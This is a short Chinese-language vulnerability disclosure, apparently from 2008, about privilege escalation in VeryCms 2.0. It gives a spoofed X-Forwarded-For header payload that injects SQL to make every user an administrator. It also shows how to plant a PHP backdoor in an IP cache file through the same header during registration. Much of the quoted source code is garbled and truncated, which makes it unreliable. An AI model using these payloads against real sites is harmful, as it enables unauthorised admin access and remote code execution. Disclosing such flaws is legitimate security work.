VeryCms2.0权限提升漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2008-05-09
VeryCms2.0权限提升漏洞 passport_client.php
function Loginipwritewinduid){
global $db,$timestamp
$logininfo="$onlineip||6";
$db->update(
"UPDATE pw_user SET lastvisit=thisvisit,thisvisit=’’$timestamp’’,onlineip=’’$logininfo’’ WHERE uid=’’$winduid’’");
}
再看$onlineip是怎么来的
Global.php
if(SERVER[’’HTTP_’’REMOTE_ADDR’’];
}
);
十六个字节,够提升权限的了吧?

抓包提交
HTTP_X_FORWARDED_FOR: ’’,groupid=3,/*
嘎嘎,每个人都成了管理员鸟

另外还有一点非常非常鸡肋的问题,在php.ini中若short_open_tag = off时可以得到shell
看 register.php中的一段代码
if($rg_allowsameip){
    if(file_exists(D_P.’data/cache/ip_cache.php’)){
      writeover(D_P.’data/cache/ip_cache.php’>","ab");
    }else{
      writeover(D_P.’data/cache/ip_cache.
    }
  }

我们注册的时候抓包提交 HTTP_X_FORWARDED_FOR 为 ?require($a);?
data/cache/ip_cache.php就变成了这样的形式
<?die;?>
……
($a
在php.ini中若short_open_tag = off, die() 就可以被饶过,从而执行我们的后门。

图片内容